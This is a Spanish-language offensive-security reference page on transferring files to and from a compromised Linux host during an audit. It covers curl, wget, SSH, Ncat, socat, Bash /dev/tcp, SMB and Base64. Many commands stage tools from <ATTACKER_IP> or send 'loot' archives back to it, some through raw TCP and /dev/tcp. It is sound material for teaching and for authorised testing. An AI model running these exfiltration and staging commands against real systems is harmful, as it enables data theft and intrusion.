Árbol de conocimiento
Seguridad ofensiva
Shells
Transferencia de archivos
Aplicaciones web
En esta página
- Referencia rápida
- HTTP
- Preparación en el atacante
- Download
- Reanudar un download interrumpido
- HTTP upload
- Preparación con uploadserver
- Upload con curl
- SSH y SFTP
- scp
- SFTP
- rsync sobre SSH
- Streams sobre SSH
- TCP directo
- Ncat
- nc en un target limitado
- socat
- Bash /dev/tcp
- Handler de la shell actual
- pwncat-cs
- SMB
- Preparación en el atacante
- Download con smbclient
- Upload con smbclient
- Canales solo de texto
- Base64
- Hexadecimal con xxd
- Empaquetado y streaming de directorios
- Verificación y troubleshooting
- Hashes
- Tipo de archivo y permisos
- Fallos habituales
- Referencias
Transferencias de archivos en Linux
En Linux, mover un archivo suele depender de lo que permita ejecutar la shell actual, de la dirección en la que exista conectividad y de si la sesión que ya tenemos proporciona algún canal de transferencia. Con curl o wget puede bastar HTTP. Si hay acceso SSH, aparecen scp, SFTP, rsync y los propios streams de SSH. En una reverse shell limitada quizá solo queden nc, las redirecciones de Bash, Base64 o las funciones de transferencia del handler que mantiene la shell.
En esta Note, download significa atacante → Linux y upload significa Linux → atacante, salvo que una herramienta utilice explícitamente otra terminología.
Referencia rápida
| Situación | Métodos a probar |
|---|---|
| El objetivo alcanza HTTP(S) | curl, wget, Python, wget de BusyBox |
| Hay un endpoint HTTP que acepta uploads | curl con multipart POST o HTTP PUT |
| Tenemos credenciales o sesión SSH | scp, SFTP, rsync, streams sobre SSH |
| Solo funciona una conexión TCP saliente básica | Ncat / nc, socat, Bash /dev/tcp |
| La shell está gestionada con pwncat-cs | upload / download |
SMB es alcanzable y existe smbclient | smbclient contra un recurso temporal |
| Solo podemos mover texto | Base64, opcionalmente hexadecimal |
| Hay que mover un directorio o muchos archivos | tar, con posibilidad de enviarlo en streaming |
| La transferencia es grande o inestable | curl -C -, wget -c, SFTP reget / reput, rsync -P |
Antes de montar infraestructura nueva, conviene ver qué ofrece ya el host:
id
pwd
umask
ps -p $$ -o comm=
command -v curl
command -v wget
command -v python3
command -v python
command -v busybox
command -v nc
command -v ncat
command -v socat
command -v ssh
command -v scp
command -v sftp
command -v rsync
command -v smbclient
command -v base64
command -v xxd
command -v tar
command -v sha256sum
$SHELL indica la shell de login configurada para el usuario, pero no necesariamente la que está ejecutando una reverse shell concreta. Cuando importa la sintaxis de la shell actual, ps -p $$ -o comm= suele dar una pista más útil.
El directorio de destino también depende del contexto. /tmp suele ser práctico, pero no hay que asumir que siempre sea escribible o ejecutable para la identidad actual.
test -w /tmp && echo "/tmp es escribible"
df -h /tmp 2>/dev/null
HTTP
HTTP suele ser una de las rutas más sencillas cuando el host Linux puede iniciar conexiones hacia la máquina del operador.
Preparación en el atacante
Python permite exponer rápidamente un directorio en modo de lectura:
python3 -m http.server 8000 --directory /opt/tools
Los archivos de /opt/tools quedan disponibles bajo:
http://<ATTACKER_IP>:8000/
Para infraestructura temporal de una auditoría resulta muy cómodo. Es mejor servir únicamente el directorio que realmente queramos exponer.
Download
En el objetivo podemos elegir según los binarios presentes.
curl -fL \
http://<ATTACKER_IP>:8000/tool \
-o /tmp/toolwget \
http://<ATTACKER_IP>:8000/tool \
-O /tmp/toolpython3 -c "import urllib.request; urllib.request.urlretrieve('http://<ATTACKER_IP>:8000/tool', '/tmp/tool')"busybox wget \
-O /tmp/tool \
http://<ATTACKER_IP>:8000/toolEn curl, -f hace que las respuestas HTTP 4xx/5xx sean errores en vez de guardar silenciosamente una página de error con el nombre del binario esperado. -L sigue redirecciones.
La variante de BusyBox solo es un fallback válido si ese build incluye el applet wget y soporta las opciones utilizadas. BusyBox se compila seleccionando applets concretos; no conviene asumir que el target tiene el mismo conjunto que otra distribución:
busybox --list 2>/dev/null
busybox wget --help 2>&1 | head
Si el archivo descargado es ejecutable, la transferencia y la ejecución son dos problemas distintos:
chmod +x /tmp/tool
file /tmp/tool
Reanudar un download interrumpido
curl puede calcular el offset a partir del archivo de salida que ya existe:
curl -fL -C - \
http://<ATTACKER_IP>:8000/large.tar.gz \
-o /tmp/large.tar.gz
Con Wget, -c continúa un archivo parcial dejado por una ejecución anterior:
cd /tmp
wget -c http://<ATTACKER_IP>:8000/large.tar.gz
En HTTP, ambos métodos necesitan que el servidor soporte peticiones por rangos para que exista una reanudación real. Conviene verificar el archivo final en vez de asumir que se ha continuado correctamente.
En Wget, -O no debe tratarse como si fuera simplemente una opción para renombrar el archivo cuando queremos reanudar. Se comporta como una redirección de salida y trunca el fichero seleccionado al comenzar la transferencia; dejar que -c trabaje con el nombre local derivado de la URL evita esa ambigüedad.
HTTP upload
python3 -m http.server sirve archivos, pero no es un receptor genérico de uploads. Para enviar datos desde el target necesitamos un endpoint cuyo método y formato coincidan con el comando cliente.
Preparación con uploadserver
uploadserver amplía el servidor simple de Python con un endpoint de subida:
python3 -m pip install --user uploadserver
python3 -m uploadserver 8000 --directory ./loot
El endpoint multipart queda en:
http://<ATTACKER_IP>:8000/upload
Upload con curl
curl -f \
-X POST \
-F 'files=@/tmp/loot.tar.gz' \
http://<ATTACKER_IP>:8000/upload
Por defecto el servidor renombra un archivo duplicado en vez de sustituir el existente. --allow-replace debe usarse en el receptor únicamente cuando sobrescribir sea intencionado.
curl también puede enviar un archivo mediante HTTP PUT:
curl -f \
-T /tmp/loot.tar.gz \
http://<ATTACKER_IP>:8000/loot.tar.gz
Con una URL HTTP(S), -T / --upload-file utiliza PUT. Solo funcionará si el receptor admite PUT expresamente en esa ruta; el ejemplo anterior de uploadserver, en cambio, espera un POST multipart en /upload.
SSH y SFTP
Si ya disponemos de autenticación SSH funcional, normalmente compensa aprovecharla antes de abrir otro servicio. El transporte, la autenticación y el cifrado ya están resueltos.
scp
Desde la máquina del operador, upload al host Linux:
scp ./tool user@<TARGET>:/tmp/tool
Download desde el host Linux:
scp user@<TARGET>:/tmp/loot.tar.gz ./loot.tar.gz
Si SSH escucha en otro puerto:
scp -P 2222 ./tool user@<TARGET>:/tmp/tool
Las versiones modernas de OpenSSH hacen las transferencias de scp mediante SFTP por defecto. Si podemos iniciar sesión por SSH pero scp falla contra un servidor antiguo o poco habitual que no ofrece un subsistema SFTP utilizable, se puede forzar el protocolo SCP heredado:
scp -O ./tool user@<TARGET>:/tmp/tool
-O es un fallback de compatibilidad, no un modo preferible por defecto.
SFTP
Cuando el operador conecta al target mediante SFTP:
sftp user@<TARGET>
las operaciones principales son:
put ./tool /tmp/tool
get /tmp/loot.tar.gz ./loot.tar.gz
Para un puerto no estándar:
sftp -P 2222 user@<TARGET>
SFTP también tiene operaciones explícitas para continuar transferencias:
reput ./large.tar.gz /tmp/large.tar.gz
reget /tmp/large.tar.gz ./large.tar.gz
La reanudación presupone que la copia parcial existente corresponde al comienzo del mismo archivo de origen. Si alguno de los dos lados ha cambiado, es mejor repetir la transferencia y verificar el resultado.
rsync sobre SSH
Cuando rsync está disponible en ambos extremos resulta especialmente útil con directorios o conexiones que pueden interrumpirse.
Upload:
rsync -avP \
-e 'ssh -p 2222' \
./tools/ \
user@<TARGET>:/tmp/tools/
Download:
rsync -avP \
-e 'ssh -p 2222' \
user@<TARGET>:/tmp/loot/ \
./loot/
-P equivale a --partial --progress: conserva los archivos parciales para que una ejecución posterior pueda reutilizarlos.
Para un único archivo donde no haga falta conservar metadatos de archivo, también puede bastar:
rsync -P ./large.tar.gz user@<TARGET>:/tmp/large.tar.gz
Streams sobre SSH
Una sesión SSH puede transportar bytes arbitrarios sin depender de scp, SFTP o rsync.
Upload:
ssh user@<TARGET> 'cat > /tmp/tool' < ./tool
Download:
ssh user@<TARGET> 'cat /tmp/loot.tar.gz' > ./loot.tar.gz
Es una alternativa útil cuando el transporte SSH funciona pero no lo hace un subsistema de transferencia.
También podemos mover un directorio sin crear primero un archivo comprimido en disco:
tar czf - -C ./tools . \
| ssh user@<TARGET> 'mkdir -p /tmp/tools && tar xzf - -C /tmp/tools'
En sentido inverso:
ssh user@<TARGET> \
'tar czf - -C /var/tmp evidence' \
> evidence.tar.gz
TCP directo
Un stream TCP sin protocolo adicional es útil cuando faltan clientes de mayor nivel y el target puede alcanzar un puerto en escucha del operador. Por sí solo no aporta autenticación ni cifrado.
Ncat
Ncat ofrece modos unidireccionales que hacen predecible el cierre de la transferencia.
Target → atacante:
Atacante:
ncat -l 9001 --recv-only > loot.tar.gz
Target:
ncat --send-only <ATTACKER_IP> 9001 < /tmp/loot.tar.gz
Atacante → target:
Atacante:
ncat -l 9001 --send-only < tool
Target:
ncat --recv-only <ATTACKER_IP> 9001 > /tmp/tool
--send-only cierra la conexión cuando llega a EOF en la entrada, evitando el caso típico en el que una transferencia unidireccional se queda abierta mientras ambos extremos esperan al otro.
nc en un target limitado
Es habitual encontrar nc aunque no esté Ncat. La forma en modo cliente es bastante portable entre implementaciones.
Upload desde el target:
nc <ATTACKER_IP> 9001 < /tmp/loot.tar.gz
con Ncat recibiendo en el atacante:
ncat -l 9001 --recv-only > loot.tar.gz
Algunas implementaciones de nc mantienen el socket abierto aunque la entrada estándar haya llegado a EOF. En ese caso los bytes pueden haberse enviado ya mientras uno o ambos procesos siguen esperando. OpenBSD netcat ofrece -N para cerrar el socket tras EOF y netcat-traditional suele ofrecer -q 0, pero son flags específicos de cada implementación. Hay que revisar nc -h antes de depender de cualquiera de ellos.
Download al target:
nc <ATTACKER_IP> 9001 > /tmp/tool
con Ncat enviando desde el atacante:
ncat -l 9001 --send-only < tool
socat
socat ofrece otra ruta unidireccional y válida para datos binarios.
Target → atacante:
Atacante:
socat -u TCP-LISTEN:9001,reuseaddr CREATE:loot.tar.gz
Target:
socat -u FILE:/tmp/loot.tar.gz TCP:<ATTACKER_IP>:9001
Atacante → target:
Atacante:
socat -u FILE:tool TCP-LISTEN:9001,reuseaddr
Target:
socat -u TCP:<ATTACKER_IP>:9001 CREATE:/tmp/tool
-u hace que la comunicación sea unidireccional desde la primera dirección hacia la segunda.
Bash /dev/tcp
Cuando Bash está disponible, su lógica de redirecciones permite abrir un socket TCP sin un binario de red adicional.
Download desde el atacante:
Atacante:
ncat -l 9001 --send-only < tool
Target:
bash -c 'cat < /dev/tcp/<ATTACKER_IP>/9001 > /tmp/tool'
Upload hacia el atacante:
Atacante:
ncat -l 9001 --recv-only > loot.tar.gz
Target:
bash -c 'cat /tmp/loot.tar.gz > /dev/tcp/<ATTACKER_IP>/9001'
El uso de bash -c es intencionado. Tener una reverse shell bajo /bin/sh no implica disponer de la semántica de Bash.
Qué es realmente /dev/tcp
/dev/tcp/<host>/<port> parece el nombre de un dispositivo o una ruta del filesystem de Linux, pero en Bash es sintaxis especial de redirección. Cuando se utiliza esa forma en una redirección, Bash intenta abrir un socket TCP hacia el host y puerto indicados.
Esto explica un error muy habitual:
/bin/sh: cannot create /dev/tcp/10.10.10.10/9001: Directory nonexistent
La shell puede ser dash, el sh de BusyBox u otra implementación de /bin/sh que no implemente las redirecciones especiales de Bash. En ese caso normalmente no existe ningún directorio real /dev/tcp que el kernel pueda abrir.
Si Bash está instalado, podemos invocarlo explícitamente:
command -v bash
bash -c 'cat < /dev/tcp/<ATTACKER_IP>/9001 > /tmp/tool'
Bash también puede compilarse sin soporte para sus redirecciones de red, aunque las builds habituales de las distribuciones suelen incluirlo. Por tanto, que esta técnica falle indica una limitación de la shell y no demuestra por sí solo que no exista conectividad.
Handler de la shell actual
Si la reverse shell ya está gestionada por una herramienta que incluye transferencia de archivos, reutilizar ese mismo canal evita abrir otro servicio y no requiere conectividad adicional desde el target.
pwncat-cs
Desde el prompt local de pwncat, upload:
upload ./tool /tmp/tool
Download:
download /tmp/loot.tar.gz ./loot.tar.gz
pwncat mueve los datos por la misma conexión de la shell y localiza readers o writers disponibles en el host remoto. Son comandos de pwncat, no comandos para escribir en la shell del target.
El directorio de trabajo local utilizado por upload y download puede consultarse o cambiarse con:
lpwd
lcd /ruta/del/proyecto
SMB
Un host Linux también puede trabajar contra un recurso SMB si alcanza TCP/445 y dispone de smbclient.
Preparación en el atacante
Recurso temporal anónimo:
sudo impacket-smbserver share . -smb2support
Si el acceso guest no funciona, podemos exponerlo con credenciales:
sudo impacket-smbserver share . -smb2support \
-username transfer \
-password 'TransferPass1!'
Download con smbclient
Anónimo:
smbclient //<ATTACKER_IP>/share \
-N \
-c 'get tool /tmp/tool'
Autenticado:
smbclient //<ATTACKER_IP>/share -U transfer
Y dentro de la sesión:
get tool /tmp/tool
Upload con smbclient
Anónimo:
smbclient //<ATTACKER_IP>/share \
-N \
-c 'put /tmp/loot.tar.gz loot.tar.gz'
En una sesión autenticada:
put /tmp/loot.tar.gz loot.tar.gz
smbclient transfiere los archivos en binario. Pedir la contraseña de forma interactiva evita dejarla incrustada en el historial de la shell y en la línea de comandos del proceso.
Canales solo de texto
Cuando la única ruta fiable es texto de terminal, podemos representar los bytes como texto y reconstruirlos en el otro extremo.
Base64
En un sistema GNU/Linux, codificar un archivo pequeño en una única línea:
base64 -w 0 /tmp/loot.bin
Si esa implementación no soporta -w, podemos retirar los saltos de línea:
base64 /tmp/loot.bin | tr -d '\n'
Reconstruir el archivo:
printf '%s' '<BASE64_DATA>' | base64 -d > /tmp/tool
Para pegar contenido en varias líneas, un here-document entre comillas evita interpolaciones de la shell:
base64 -d > /tmp/tool <<'EOF'
<BASE64_DATA>
EOF
Base64 es seguro para datos binarios, pero aumenta el tamaño aproximadamente un tercio antes de contar saltos de línea u overhead del transporte. Es un buen fallback para archivos pequeños, no un método razonable por defecto para un archivo grande.
Hexadecimal con xxd
Si existe xxd:
xxd -p /tmp/loot.bin | tr -d '\n'
Reconstruir:
printf '%s' '<HEX_DATA>' | xxd -r -p > /tmp/tool
El hexadecimal es sencillo de inspeccionar, pero duplica el tamaño del binario. Además, xxd suele estar menos disponible que base64.
Empaquetado y streaming de directorios
tar resulta útil cuando hay que mover muchos archivos o un árbol de directorios.
Crear un archivo en el target Linux:
tar czf /tmp/loot.tar.gz \
-C /var/tmp \
evidence
Revisar su contenido antes de transferirlo:
tar tzf /tmp/loot.tar.gz
Si el espacio en disco es limitado, podemos enviar el stream de tar directamente sin crear /tmp/loot.tar.gz.
Atacante:
ncat -l 9001 --recv-only > loot.tar.gz
Target:
tar czf - -C /var/tmp evidence \
| ncat --send-only <ATTACKER_IP> 9001
El mismo patrón funciona sobre SSH, como se ha visto antes. tar convierte el árbol de ficheros en un stream de bytes y el transporte puede ser SSH, Ncat, nc u otro canal que preserve esos bytes.
Verificación y troubleshooting
Que el cliente vuelva al prompt no garantiza por sí solo que el resultado sea el esperado. Cuando la integridad importa, hay que comprobarla.
Hashes
Antes de la transferencia:
sha256sum tool
Después:
sha256sum /tmp/tool
Hashes iguales confirman que ambos extremos contienen los mismos bytes.
Tipo de archivo y permisos
ls -lh /tmp/tool
file /tmp/tool
Si debe ejecutarse:
chmod +x /tmp/tool
Que después de una transferencia correcta aparezca Permission denied o Exec format error no significa necesariamente que los bytes se hayan corrompido. Conviene comprobar el montaje y la arquitectura:
findmnt -no TARGET,OPTIONS /tmp 2>/dev/null
file /tmp/tool
uname -m
Un filesystem con noexec o una arquitectura incorrecta pueden impedir la ejecución aunque el archivo haya llegado intacto.
Fallos habituales
| Síntoma | Qué comprobar |
|---|---|
curl guarda HTML en vez del archivo esperado | Usar -f; verificar URL y respuesta del servidor |
wget -c deja contenido inesperado | Confirmar que el parcial pertenece al mismo objeto y que el servidor soporta rangos |
| El upload HTTP devuelve 405/400 | Comprobar POST frente a PUT y el formato de cuerpo esperado |
SSH funciona pero scp falla | Revisar SFTP; usar scp -O solo como compatibilidad legacy o recurrir a un stream SSH |
/dev/tcp/... aparece como directorio inexistente | Confirmar que la redirección la está interpretando Bash |
Fallan los flags del listener de nc | Identificar la implementación; preferir Ncat en el atacante |
| Una transferencia TCP no termina | Usar --send-only / --recv-only con Ncat o controlar explícitamente el EOF |
| Los hashes no coinciden | Tratar la copia como parcial/corrupta y repetirla |
| El archivo llega pero no ejecuta | Revisar permisos, noexec, arquitectura e intérprete |
No podemos escribir en /tmp u otra ruta | Revisar identidad, permisos, espacio libre y elegir otro destino |
Referencias
- Manual de curl
- GNU Wget — Download Options
- Manual de OpenSSH scp
- Manual de OpenSSH sftp
- Python
http.server - Densaugeo uploadserver
- Bash Reference Manual — Redirections
- Ncat Users’ Guide — File Transfer
- Manual de rsync
- Manual de Samba
smbclient - pwncat-cs — Upload
- pwncat-cs — Download
- GNU Coreutils — base64
- Manual de socat